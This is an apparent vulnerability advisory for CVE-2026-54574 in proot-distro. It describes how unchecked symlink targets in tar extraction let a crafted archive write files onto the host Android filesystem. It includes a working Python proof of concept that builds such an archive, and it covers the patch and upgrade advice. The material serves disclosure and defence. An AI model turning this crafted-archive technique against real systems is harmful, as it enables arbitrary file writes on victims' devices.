high · 8.2CVE-2026-54574Jul 29, 2026

CVE-2026-54574: proot-distro Symlink Escape via Malicious Tar Archive

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Installing a crafted tar archive with proot-distro lets an attacker write files anywhere on the host Android filesystem before the container ever runs, because symlink targets inside the archive are…

Packageproot-distro
Ecosystempip
Affected<= 5.1.4
Fixed in5.1.5
CVE-2026-54574: proot-distro Symlink Escape via Malicious Tar Archive

The problem

proot-distro's _extract_plain_tar() function checks member names for .. path traversal but applies no equivalent check to symlink targets (member.linkname). An archive can plant a symlink whose target is an absolute host path, then write a subsequent file entry through that symlink name.

Python's open() follows the planted symlink, so the file lands on the real host filesystem at the full privilege level of the Termux process. No container login is needed. The same flaw exists in _apply_layer() inside helpers/docker.py, and is also reachable via proot-distro reset.

Proof of concept

A working proof-of-concept for CVE-2026-54574 in proot-distro, with the exact payload below.

python
# craft_evil_layer.py
import tarfile, io

PAYLOAD = b"TERMUX_ESCAPE_SUCCESS\n"

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:
    # Step 1: plant symlink  <rootfs>/escape -> /data/data/com.termux/files/home
    sym = tarfile.TarInfo(name='escape')
    sym.type = tarfile.SYMTYPE
    sym.linkname = '/data/data/com.termux/files/home'
    tf.addfile(sym)

    # Step 2: write through the symlink -> host ~/POC_SUCCESS
    reg = tarfile.TarInfo(name='escape/POC_SUCCESS')
    reg.size = len(PAYLOAD)
    tf.addfile(reg, io.BytesIO(PAYLOAD))

with open('evil.tar.gz', 'wb') as f:
    f.write(buf.getvalue())

# proot-distro install ./evil.tar.gz
# cat ~/POC_SUCCESS  =>  TERMUX_ESCAPE_SUCCESS

The traversal guard (any(p in ('..', '') for p in rel_parts)) only inspects the archive member's own path. It never touches member.linkname, so an absolute symlink target like /data/data/com.termux/files/home passes unchecked and is written to disk via os.symlink(member.linkname, dest).

The fix in commit a96d7a9 adds a _is_safe_symlink() helper that rejects any linkname where os.path.isabs(linkname) is true, and also verifies that relative targets resolve to a path inside rootfs_dir. The same guard was applied to _apply_layer() in helpers/docker.py.

This is CWE-61 (UNIX Symbolic Link Following).

The fix

Upgrade proot-distro to 5.1.5 (pkg upgrade proot-distro inside Termux). The patch commit is a96d7a9667f38e45d812614852ee3915d1c0ae45. If upgrading immediately is not possible, only install rootfs archives from fully trusted sources.

Reported by sylirre.

References: [1][2][3][4]

Related research